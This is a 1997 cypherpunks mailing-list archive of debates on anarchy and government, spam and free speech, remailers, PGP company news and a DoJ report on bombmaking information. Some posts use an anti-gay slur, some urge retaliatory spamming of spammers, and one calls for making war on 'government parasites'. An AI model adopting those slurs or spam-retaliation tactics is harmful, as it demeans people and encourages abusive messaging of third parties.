> >   Didn't her boss's murderer walk on the charge by using the defence
> > that he ate too many Twinkies?
> >   No political intrigue here...
> 
> That was the defense, yes.  Dan White was a former cop and treated like a
> hero by fellow cops.  The prosecution never really challenged the Twinkie
> defense, nor did they bring up politics or homophobia as motives.  With a
> prosecution like that, who needs a defense?

  I remember that it was seen as being a message to the gay community
that they were getting too "uppity" for their own good.
  (I wonder how they got that idea? <former cop kills a queer, gets 
treated like a hero, prosecuters play with Little Peter while he gets
off for eating too many Twinkies, and Swinestein is waiting in the 
wings to do an "LBJ">.)
  The government is a lot like the Mob--other politicians can't really
trust you until you've whacked somebody and they have it to hold over
your head so that you'll play along.

SwineMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 15 May 1997 03:15:03 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <19970513225047.26856@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970514153240.1932B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Your position is laughable.  Statistics on murder rates are knowable for
> > many countries.  Studying the murder rate for those countries will at least
> > provide a range against which deaths due to government-caused wars can be
> > compared.
> 
> Only meaningful if you can compare with murder rates in a human 
> society without a government...but of course, in fact the only time 
> this happens is when society breaks down entirely.

This is all away from the main point, I have a large dislike of arguments 
which rest entirely on practical grounds, anarchic societies may be more 
violent, this does not offer any reason why they should not be the 
correct type of societies from an idealogical and moral point of view.

> And I am fascinated with the way you make the "government" into a 
> bogeyman that is responsible for all the evils that beset the human 
> race.  No consideration of other factors -- racial and tribal hatred, 
> religious conflicts, class conflicts, etc etc.  A wonderful 
> simplification. 

This argument does have certain substance but it does have flaws:

Firstly, all religion which has caused conflict in the past has been one 
which wielded power in a governmental fashion. I`m no historian, but I 
cannot recall one incident where a religion which had no executive power 
caused violence against other groups of people for religious, or indeed 
any other reason.
For example, the catholic church in the middle ages had a massive amount 
of power and used it to eliminate elements of society which threatened 
it`s position, it acted effectively as a government, which is, after all, 
merely a set of people who adhere to a rough set of beliefs and commonly 
held principals, the root of government is in religion, they are two 
sides of the same coin.

Racial and tribal hatred is a more convincing argument but is still 
rooted in religion, a lot of the violent overthrowings of governments 
around the world have resulted from that government taking a racist 
position, most anti-government protests and indeed even riots in the 
western world are caused by racism or opposition to it.

Class conflicts can be similarly dismissed as another facet of 
government, where the government favours one group of citizens over 
another in terms of the way in which it governs the anger of the 
repressed or badly treated group of people is often directed towards 
those in a better position than them rather than at the government which 
caused their position to become as bad as it did. This is merely the 
jealous nature of humans overcoming their logical side.

Beyond all of this, the argument isn`t really very interesting, I`m not 
interested whether the government murders and kills or not, any 
infringement of the rights of citizens is sufficient in my mind to make 
them criminal, and necessitate their removal from power, murder is merely 
an extreme form of this.

> > >Second, such cases of civil breakdown aside, all humans, for now and
> > >for the conceivable future, live within the context of some kind of
> > >government.  The option of non-government simply doesn't exist. 
> > 
> > That's precisely what the governments and their agents want us to believe.
> > Minarchism is certainly possible,
> 
> Oh boy.  A wonderful dream, minarchism, that everybody *must* secretly
> want, except that some evil force is preventing them from getting to
> it, and you, Jim Bell, are the savior that is going to bring it 
> about.  A classic messiah complex.

I saw nothing in the comment that suggested Jim believed he would bring 
about minarchist government, minarchism is a definite possibility within 
our current society, because it is based on the concept of democracy 
which is accepted by most participants in society and furthermore it has 
been proven to work in the past, the initial stages of the US government 
when the government adhered to the principles of the constitution could 
be called minarchist, you might say that the fact that the government has 
now increased in size and power suggests minarchism did not work, I would 
argue this was merely the fact that the governments power has, until 
recently, been increasing slowly, people take little notice of small 
infringements of their rights, the government know they can safely upset 
a few thousand people at a time without problems, then go on to offend 
the next few thousand once things have cooled down somewhat, at each 
stage of course the objection is small enough to be insignificant, the 
end result is the government can increase its power virtually without bounds.

Now most of the peons accept the "need" for larger and more powerful 
government the pace of change has accelerated, the government has begun 
to use force more and more often to crush opposition to its actions.
The terror state is on its way.

> > >Third, murders caused by governments can't really be separated from
> > >murders caused by individuals.  That is, in many cases deciding
> > >whether a murder is a personal action or a government action is
> > >impossible. 
> > 
> > "Aye vas joost vollowink orderz!"
> > 
> > Sorry, we're still laughing at you.
> 
> When the LA cops beat up Rodney King, do you suppose they got any 
> personal satisfaction out of it?  Or were they just cold government 
> functionaries, doing their job?

I would say part of each, they knew however that their position as 
government thugs protected them to a certain extent from retribution, 
has they been living in a minarchist society where their actions would 
have been punished harshly they may not have acted as they did.

> > >Fourth, it's fashionable in these circles to paint all governments
> > >with the same brush, but in fact, some are much better than others.  
> > >But it only takes one bad one to start a war.  Furthermore, human 
> > >motivations are complex and irrational, so wars are started for 
> > >essentially insane reasons.  This is a human problem, not a problem 
> > >of government.
> > 
> > No, quite the contrary.  Considered from the perspective of the cumulative
> > interests of society, wars are not beneficial or "profitable."  Only from
> > the very limited viewpoint of the military-industrial complex and government
> > employees does war appear to be a net benefit, and that's true only because
> > the interests of most of the population (on whom the effect of war is a net
> > negative) is ignored.  The reason war occurs is that the decision to have a
> > war is made not by society as a whole, but by that tiny fraction which profits.
> 
> So of course ideology could never start a war -- Arabs and Jews *only*
> fight because of their governments, the American revolutionary war 
> was *only* fought because the state governments wanted more power, 
> the Tutsi's and the Hutus only fought because their governments 
> forced them.  A wonderful simplification, blaming everything on 
> "government". 

This is not really an over simplification given my argument above, 
I believe most groupings in society can be reduced to some form of 
government or another, whether it is of your accepted narrow definition 
of government or in a wider sense.

> > Put the decision to have the war back into the hands of the population as a
> > whole, and war will decrease.  Give the public the option to make war upon
> > the government parasites infesting their own land, and war will end 
> > forever.
> 
> A wonderful dream, truly.

Not a dream, a past reality, and indeed, in certain regions where 
government intervention is more extreme than it is in the USA or UK a 
present reality. The only reason for war is government, this is simple to 
see if one defines government as I have above. I do not believe this to 
be an overgeneralisation, merely a statement of fact, government is any 
form of custom or structure which forces certain courses of action on 
people. Of course there are exceptions, such as the NAP, which is a form 
of government under my analagy, which I do not believe could concievably 
be called an initiation of force because of its very limited scope.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 15 May 1997 01:48:14 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970513230543.60364@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970514155545.1932C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Calling this an "anarchy" is comparable to calling the pogrom by the Third
> > Reich against Jews, gypsies, cripples, and others an example of anarchy.
> 
> Nonsense.

No, there is a distinct and marked difference between the absence of 
government and the presence of lots of different governments, the reason 
for war in Rwanda is because there are a number of rival factions all 
competing to gain power, a true anarchy has no government whatsoever.
Rwanda is an example of undecided government, not no government.

 
> "anarchy n. the absence of government or control, resulting in 
> lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> 
> Which part of that would you say didn't apply to Rwanda?  

The entire first definition, there is no absense of government in Rwanda, 
merely a number of different prospective government.

Also, the definition of anarchy is flawed in that it suggests that the 
word refers to the lack of government leading to lawlessness, my 
definition, and I would imagine the definition of most members of this 
list, is that anarchy is the absense of government period. Just because 
the law we refer to doesn`t suit you does not mean it is not a valid system.

> In fact, the correlation between anarchy and war is very strong, for
> obvious reasons.  Perhaps that is why most intelligent people don't
> consider anarchy a desirable state of affairs. 

Cite?

The correlation between your definition of anarchy and war is obvious, if 
you define anarchy as "A lack of government leading to lawlessness" you 
are obviously going to see a correlation between this and lawlessness!
I could counter argue that the correlation between government and war is 
irrefutably stronger but then I would be playing your little game, and I 
don`t want to get drawn into that.

Your comment that most intelligent people consider that anarchy is not a 
desirable state of affairs does not even deserve comment, democratic 
arguments for or against anarchy are completely irrelevant and futile.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 15 May 1997 07:50:31 +0800
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Spam IS Free Speech
Message-ID: <199705142339.QAA23731@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 14 May 97 at 14:57, Rick Osborne wrote:

> Ross Wright wrote:
> 
> >You can not retaliate against free speech, Rick.  That's a bad
> >thing, plain and simple, black and white.
>
> with him on this.  I've got only a minor problem with Sanford
> sending spam (it being unsolicited and all), I'm just saying that I
> should not be denied the right to spam him right back.

You can spam him back, but with just as many megs as he sends you.  
Match him meg for meg, not 10,000 megs for 1 meg.

I have a unique way of dealing with spammers.  I set up a list of the 
e-mail addresses of the spammers.  Each time a new spammer spams me, 
I send him a copy of the addresses, telling him "I am not interested 
in your product or service, but my associates will be. Here's their 
addresses."  Then I add him to the list, and so on.  This way the 
spammers are spamming each other.  Poetic Justice.  And no harm done.
 
> Do you see my point?  It's all in
> whether or not it's *solicited*.
>  Simply having an email address, to me, is *not* an invitation for
>  everyone
> in the world to send me mail to it.

Well, if you publish it on a website it *is* free game.
 
> >What's your problem with your 'delete' key?
> 
> Nothing.  Like I said: I've got filters.  I'm just saying that I
> shouldn't have to use them (in a perfect world), as all "spam" I get
> should be solicited.

No perfect world here.  Hell the deep dark secret that everyone 
glosses over is the fact that advertisers are using years of 
behavioral analysis to better market to us.  That's the real 
conspiracy.
>
> >By now, everyone knows that any of those things are as good as
> >giving away your e-mail address [...] it's an open invitation for
> >me to send you advertisements, just like the yellow pages.
> 
> Nope, you're getting confused here.  Giving my email address is akin
> to the *white* pages, while asking for spam is the *yellow* pages. 

I agree that the gathering of e-mail address from usenet and from 
mailing lists is a bad thing.  *But*  if you have a web page, you 
have a yellowpages ad.

> If I were to put my phone number in the white pages of the local
> phone book (which I don't), it would be so that someone who has a
> *need* to contact me could. If I wanted people calling me for no
> reason, I'd put an ad in the yellow pages.  See what I'm saying?

Right, but you see what I am saying about a web page being a yellow 
pages ad, right?
 
> >You have the right to make some snotty reply, but no right
> >to intentionally harm.
> 
> Aha!  There's the rub!  If I'm paying for my connect time, then spam
> *is* harmful.

Please, a few megs between cyber-clients?  No harm no foul.  You get 
more megs of crap just from this list!  I'd bet real money on that!
 
> >Rick, what if someone decided they did not like an opinion 
> >you expressed on this list and did the same thing to you?
> 
> Did what?  Set up a robot to flame me?  I'd hope they at least had
> the guts to not do it anonymously, but I can't fault them for not
> liking me.

Set up a robot to send you megs and megs of crap, just for one 
e-mail, that's what I am saying.  You wouldn't like that very much!
 
> >You, nor anyone else, has a right to lash out at 
> >someone for something they say or some ad they send you.
> 
> So why then do I not have the right to lash out at them in return?

You do.  One for one.  Mano a mano.  No more, no less.

 > >No one has a right to retaliate, get it?  First Amendment?  I
> >didn't read in there the right to get back at some poor
> >advertisers, did you?
> 
> So you're saying that if I came along and dropped a few billion
> pamphlets for a campaign of mine on your house.
> *intentionally* cause the problems, I am in the clear?  Give me a
> break.

But, you see, they send the pamphlets to a few billion addresses, not 
just to your house.  Apples and oranges.
 
> >Free Speech : Good      Mail Bombs : Bad
> 
> Spam = Mail Bomb = Arp attack.  No essential difference.  Why isn't
> a mail bomb or arp attack proctected by your idealized free speech?

Spam is not equal to an arp attack or a mail bomb.  One letter to one 
address is quite different than 10,000 letters to one address.

> >Are you a self centred ass, who's personal feelings are more
> >important that the Constitution?
> 
> Yes, I am a self-centered ass. 

Me too, by the way.  An opinionated one, as well.

> No, my feelings are not more
> important than the Constitution, my feelings help *make* the
> Constitution, remember?  It's moot, anyway, as I'm not advocating
> removing free speech.

No you are advocating harming others who are speeking freely.

> >You could be doing so much more with your time.
> 
> True.  And I could be doing *more* with my time if I didn't have to
> spend it setting up spam filters!
> 
> >No war, no battles, no skirmishes, no need for "Anti-Spam Laws".
> 
> I agree.  I'm not asking for any laws, just the right to annoy
> spammers just as much as they annoy me.  Why can't I do that?  If I
> decide to spam them, not our of retribution, but as an exercise of
> my right to free speech, then how is it any different?

Again, I say:  One Meg Per One Meg.  Equal and fair.
 
> >Just be nice, and everything will work out for the best.
> 
> You're more optimistic than I. 

Well, I just hope that this dosen't get carried away, that's all.  
Match them meg for meg that you personally receive, and everything 
really will be OK.  And if we keep the government out of it.

> It must be nice to not be cynical.

It's just an act.  I am pretty jaded.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 15 May 1997 08:25:47 +0800
To: cypherpunks@cyberpass.net
Subject: microstock market
Message-ID: <199705150015.RAA27036@netcom22.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



ultimately what cyberspace does in many ways is decrease
the "granularity" of economic transactions.

you can imagine that an economic transaction has an overhead
cost associatd with it needed to manage the bureacracy of
the cash transfer. the army of people that have to support
check passing, such as the mailman, bankers, etc., the people
in the company that have to open envelopes and punch
keys, etc. ad infinitum.

these vast teams/roles of people are going to vaporize to move
into other aspects of the economy. increasingly, the overhead
of an economic transaction will move toward the infinitesmal.
this radically changes many business models.

consider the stock market for example. you have a situation
where it doesn' t make sense for a company to be traded on
the stock market except after some threshhold has been reached.
I suspect this threshhold is due directly to economics that
could radically change in the near future (say a decade).

what I suspect this might mean is not merely new kinds of
stock markets, but a massive plethora of new forums in which
business can be transacted in cyberspace. I think we are
going to see many new stock exchanges as the capital moves
towards the ones that most efficiently handle it. and 

increasingly, I think you will see very small companies have
stocks. you will also see a much better means by which an
investor can judge the value of a company. the assets will
be more open and thoroughly revealed on public web sites
of the company. increasingly the outsider will be able
to "peer into" a company for investment or business 
purposes. the companies with the most open policies are 
going to be those most favored by their customers.

what would be neat is if one could invest in very small
companies or ideas. I suspect our economy is moving
in exactly this direction.

also in addition to this, I suspect that regulations 
governing stock transactions are going to be challenged
and increasingly melt away in the long run. the open market
will find its own ways of guaranteeing the safety of its
transactions that will make government interference
only draining or damaging.

so you can imagine that our economy of today is like moving
around big boulders-- you need a lot of people and organization
to create economic transactions. in the future, transactions
are going to decrease in granularity and you will have
a system more like the flow of electricity throughout an
entire system.

the revolutionary implications of cyberspace have barely
begun to be uncovered. ultimately it will radically change
the nature of our economics and government systems just
as the introduction of the printing press did in its
time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 15 May 1997 05:26:01 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007803af9eb56df0ae@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970514171510.17042C@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 13 May 1997, Tim May wrote:

> (If "false advertising" were a true crime, most of the world's religions
> would surely be shut down.)

That would be a dream come true. <Evil grin>

> Look to contract law for your answer.

I'd rather spam them back... Gee, where's Vulis's bots when you need them 
:)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 15 May 1997 08:33:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rwanda and "anarchy"
In-Reply-To: <337A3314.1B990EE4@disposable.com>
Message-ID: <19970514172033.01446@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 14, 1997 at 02:48:04PM -0700, Rich Graves wrote:
> Kent Crispin wrote:
> > On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> > > Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> > > not any kind of anarchy such as any of us have ever advocated. Rather,
> > > Rwanda was a near-textbook example of one tribal faction (Hutus or
> > > Tutsis) coming to power and inititiating a pogrom against the rival
> > > faction (Tutsis or Hutus).
> > > 
> > > Calling this an "anarchy" is comparable to calling the pogrom by the
> > > Third Reich against Jews, gypsies, cripples, and others an example of
> > > anarchy.
> > 
> > Nonsense.
> > 
> > "anarchy n. the absence of government or control, resulting in 
> > lawlessness. 2. disorder, confusion" -- Oxford American Dictionary
> > 
> > Which part of that would you say didn't apply to Rwanda? 
> 
> I would say "none." Tim is essentially correct. Ironically, we know he's
> correct thanks to the United Nations and Judge Goldstein's International
> Criminal Tribunal, which Tim would oppose. (The answer to bad government
> is more government?)
> 
> Jean-Marie Higiro was Rwanda's Minister of Telecommunications. He saw
> the radio turn into a tool of totalitarian propaganda. The killings were
> encouraged and organized by the government. He was there.
> 
> Lindsey Hilsum was the only English-speaking reporter in Rwanda when the
> killings started. She described the situation as "anarchy" because she
> did not understand the language or the political situation. She later
> retracted that story, and spent several more months in Rwanda and
> Burundi documenting what really happened. She eventually testified 
> before the ICT on what she saw. I think she's a really cool person.
> 
> Raymond Bonner joined Lindsey in Rwanda later. You might recognize his
> name -- he's the guy who was fired by the New York Times because the
> Reagan Administration didn't like his reporting on human rights
> violations in El Salvador.
> 
> Gilles Peress is a French photojournalist who documented the genocide in
> Rwanda both for himself and for the ICT.
> 
> I met these folks and browsed the relevant documentation, recordings,
> and photos on April 11th. I believe them when they say it was planned.

It appears you have better data than I.  Still, even if it was
planned, there appeared to be a widespread breakdown of civil
authority.  I remember reading an interview with a woman who killed
her neighbors children -- that interview could have been faked, of
course, but I find it hard to categorize her behavior as part of a
government plan.

> Blaming it on "evil government," though, is ludicrous. There was quite a
> lot more going on.
> 
> If you want to look at anarchic chaos, try, maybe, Albania, or Los
> Angeles
> after the Rodney King verdict. But even in those cases, the violence had
> specific targets for specific reasons. It wasn't unstructured anarchy,
> and it didn't last long. For all the press, there were few deaths in
> either case.
> 
> > In fact, the correlation between anarchy and war is very strong, for
> > obvious reasons. Perhaps that is why most intelligent people don't
> > consider anarchy a desirable state of affairs.
> 
> There is no such thing as anarchy, and there never will be.

I actually view this statement is strong support for my point of view,
so I hate to argue against it.  And certainly anarchy in the sense of 
"crypto-anarchy" is just an oxymoron.

But I could raise a semantic quibble or two...I think that anarchy (in
the sense of a breakdown of civil authority) is actually relatively
common in wartime.  The fact that there may be higher level plans or
strategy by governments does not mean those governments are in
control. 

Human beings are fundamentally social/political creatures, and their
behavior is always conditioned by their social/political environment. 
It is my impression that when the "anarchists" on the list refer to
"government" they mean something more than the general
social/political environment every human lives within.  I personally
cannot discern a clear dividing line between "government" and
"society". 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 15 May 1997 05:56:19 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: The War is Underway
Message-ID: <3.0.1.32.19970514172138.00698a58@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

\At 10:44 AM 5/10/97 -0800, Tim May wrote:

>This is the "race to the fork in the road" I have long talked about. The
>future will be pulled between two attractors, with essentially no middle
>ground 

>At one side lies a surveillance state

>At the other side lies crypto anarchy

Except that their branch of the "fork" is illusory.  It depends on public
support and physical powers they lack.  

The reason that I'm a technoptimist is *not* because I think that modern
technology is an all-powerful mechanism which has shattered the control
capabilities of the coercive state apparatus.  The really beautiful thing is
that today's technology is merely piling onto a pre-existing trend which
favored individual choice.

Things were already trending towards markets and self government long before
crypto and the Internet hit the front pages.  Even mainframe computers
helped.  If you look at the graphs, you'll see that computers started forcing
institutional downsizing as early as the late '60s in the U.S. and Britain.  

Mechanical technology and the wealth it produced was sufficient to get things
going.  Since the Second World War, people have been getting wealthier and
hence more powerful.  First here in America and later spreading throughout
the worlds like a health-giving virus.

Remember, it's not just technology.  If I can move and trade in a very
efficient market, I have a lot more power than someone with my same level of
wealth in a primitive society with limited capabilities.

Cheap radios (the first micro technology product) and jet engines helped push
things along as much as anything.  The slow development of market
institutions which, today, give individuals the power to buy, sell, and lease
almost any good or service eventually reached a critical point as well.

Rich people are *much* harder to push around than poor people.  (If you push
them too much, they just leave.)  So factories produced wealth which produced
power which automatically increased individual choice.  You will note that
the 60's happened, for example.  As time went on, markets spread, tyranny
contracted and people became harder and harder to control (for good or ill). 


Pile crypto and the Net onto this trend, and you get an accelerated
beneficial movement towards enhanced personal choice.  Obviously, "the
generation that was born into bondage in Egypt cannot enter the Promised
Land."  They have to die off before the changes can become obvious to all. 
The Net can help in this by changing our cultural and social environment so
much that it allows us to, in the words of yet another Timothy, "Metaprogram
the human biocomputer."

I must say, however, that I find it hard to believe that other people can't
see the amazing progress that we've made in the last decade.  The utter
destruction of totalitarian communism, the transformation of Latin America
from 26 dictatorships and 1 democracy a few years ago to 26 (more or less)
democracies and 1 dictatorship today, the liberation of the Forex markets,
the ideological dominance of market liberalism, the Death of the PTT
communications monopolies, the deregulation of transportation, the lowering
of trade barriers, etc.

Note that last month, Mongolia became the first country since the dawn of the
nation state to abolish all tarrifs and quotas.  Now if you can just get to
it, you can trade freely.

The control capabilities of the government depend on the attitude of the
people.  If they support the government or are intimidated by it, they will
obey.  Today, support for most OECD governments is at historic lows. 
Cynicism about government policies is widespread.  And the simple ignoring of
rules and regs is "out of control."

DCF

"You don't have to be nice to nation states you meet on the way up if you're
not coming back down."








-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM3os3YVO4r4sgSPhAQHTRgQAvXFT8D+v2rpRe1d6bev87ODWCm4Pr1HS
0akwfOIBdGcCIWzRVRywTe1uBkMlnP2rXg819q+LLMkLK2J0Oma0zCPbCOqG8OSd
aChGNuLq1106YjRPGXsbpKOBugbpW5AgLXUlUXtwjMBJzoZ9GNRCQDJlGCHuO0Q3
gDVw2CRSW6A=
=33tc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 06:13:38 +0800
To: cypherpunks@toad.com
Subject: RSA v. PGP Complaint Correction
Message-ID: <1.5.4.32.19970514215503.00927358@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Due to a transmittal error the latter half of the RSA v. PGP
complaint was omitted from our offering this morning. 
The full complaint is now available at:

     http://jya.com/rsavpgp.txt  (21K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <privsoft@ix.netcom.com>
Date: Thu, 15 May 1997 06:04:04 +0800
To: cypherpunks@toad.com>
Subject: Problems at PGP?
Message-ID: <337A3548.2496@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hot Off The Press
http://www.news.com/News/Item/0,4,10660,00.html

Pretty Good Privacy CEO
                quits 
                By Dawn Yoshitake
                May 14, 1997, 11:30 a.m. PT 

                Security software firm Pretty Good Privacy
                announced today that its chief executive and
                president has resigned as the company mature from
                its start-up status.

                Thomas Steding, CEO, president, and a PGP
                founder, will now become a company adviser. The
                CEO position will be phased out, the company
                said.

                "This was a decision by the board and the executive
                staff. It seemed the right time," spokesman Mike
                Nelson said. "We're moving out of a start-up mode
                and into pursuit of the corporate marketplace. This
                was a minor adjustment to the staff."

                Nelson added that Steding will continue to advise
                the company on team-building and moving its
                operations quickly.

                Phillip Dunkelberger, former vice president of sales,
                will now become president and be responsible for
                the company's daily operations. Dunkelberger will
                also become a board member.

                Jonathan Seybold, a PGP founder, has been named
                chairman of the company.

                Nelson said the company is on target with its
                product development and sales and profitability
                targets, and will review where it stands financially
                and with its product lineup before setting a future
                course for an initial public offering.

                PGP, which has been in operation for a year, is
                scheduled to begin open beta testing for its Personal
                Privacy version 5.0 tomorrow. The commercial
                version is slated to be released later this month.

                Meanwhile, the crypto company has initiated a few
                acquisitions. One of its most recent was the March
                buyout of Zoomit, a directory technology that
                combines private intranets, pubic extranets, and the
                Internet.
-- 
A picture tells a thousand words.
		Stego


     -----BEGIN GEEK CODE BLOCK-----
     Version: 3.1
     GCS/IT/S d--() s+: a-- C++++(++)$ ULS+++@ P++@ L+(++)$ E- W+(+++)$
     N++$ !o K-? w++(+++)$ !O+>++ !M !V PS+(+++)@ PE(++)@ Y++$ PGP@ t+@
     5++@ X++>$ R+++>$ tv+@ b+@ DI+++>$ D+++@>$ G@ e++@>++++ h r* y+ 
     ------END GEEK CODE BLOCK------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 15 May 1997 09:21:55 +0800
To: "Roger J. Jones" <cyber@ibpinc.com>
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <Pine.3.89.9705141750.A2785-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:
> 
> 1) Log all of their mail messages?
> 2) Are in many cases reputed to be run by foreign intelligence services?

Net.myths
 
> Do they really trust the owner of the remailer? (Unless of course, it is
their remailer?) I seem to be missing something. 

You are missing the fact that you can chain remailers. Therefore it is 
pretty much irrelevant if some remailers are compromised.


Then again, I know several remailer operators personally. Which makes me 
less worried about the them being foreign intelligence agents.

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 06:46:25 +0800
To: cypherpunks@toad.com
Subject: DoJ on Bombmaking Info
Message-ID: <1.5.4.32.19970514221851.008f9594@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer:

   "Report on the Availability of Bombmaking Information,
   the Extent to Which Its Dissemination Is Controlled
   by Federal Law, and the Extent to Which Such
   Dissemination May Be Subject to Regulation Consistent
   with the First Amendment to the United States
   Constitution

   Prepared by the United States Department of Justice As
   Required by Section 709(a) of the Antiterrorism and 
   Effective Death Penalty Act of 1996.

   Submitted to the United States House of Representatives 
   and the United States Senate

   April 1997"

-----

     http://jya.com/abi.htm  (193K) 

This relates to the proposed "Feinstein Amendment" of the 
AEPDA. It covers in detail what kind of speech is permissable 
now and what language for the amendment should be to 
close gaps. A fine distinction is traced between "teaching"
the use of terrorist and mass destruction weapons and 
"advocating" them. Or something like that -- I am a jailhouse
laugher.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 15 May 1997 07:19:49 +0800
To: DataET Research <staff@dataet.com>
Subject: Re: Information request
In-Reply-To: <337A39D9.303F@dataet.com>
Message-ID: <Pine.SUN.3.91.970514190138.17042D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


Wheee! so we stopped creating crappy cyphers and moved on to web page 
creation? Bwahahahahhahahahahahahhahaha!  Getting out of the crypto 
business was a good move.  Good luck to you in your trying to learn HTML.


On Wed, 14 May 1997, DataET Research wrote:

> Hi,
> 
> If you are interested in having a high-quality, but extensively
> inexpensive, Web site designed for you, your résumé, or your company,
> visit http://www.dataet.com or contact info@dataet.com immediately, and
> request for additional information and/or a free cost and time
> estimation.
> 
> Thanks for your time. We hope to hear from you soon.
> 
> Regards,
> 
> DataET Research
> Data Engineering Technologies
> 
> info@dataet.com
> http://www.dataet.com
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 15 May 1997 08:32:18 +0800
To: staff@dataet.com
Subject: Re: Information request
In-Reply-To: <337A39D9.303F@dataet.com>
Message-ID: <199705150003.TAA00901@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dear Mr. Ramos,

Have you lied about your intention to release the source code
for your encryption program?

I still hope that you are a decent person and will release the
algorithm that DataET Research used in it encryption program.

	- Igor.

DataET Research wrote:
> 
> Hi,
> 
> If you are interested in having a high-quality, but extensively
> inexpensive, Web site designed for you, your résumé, or your company,
> visit http://www.dataet.com or contact info@dataet.com immediately, and
> request for additional information and/or a free cost and time
> estimation.
> 
> Thanks for your time. We hope to hear from you soon.
> 
> Regards,
> 
> DataET Research
> Data Engineering Technologies
> 
> info@dataet.com
> http://www.dataet.com
> 



	- Igor.





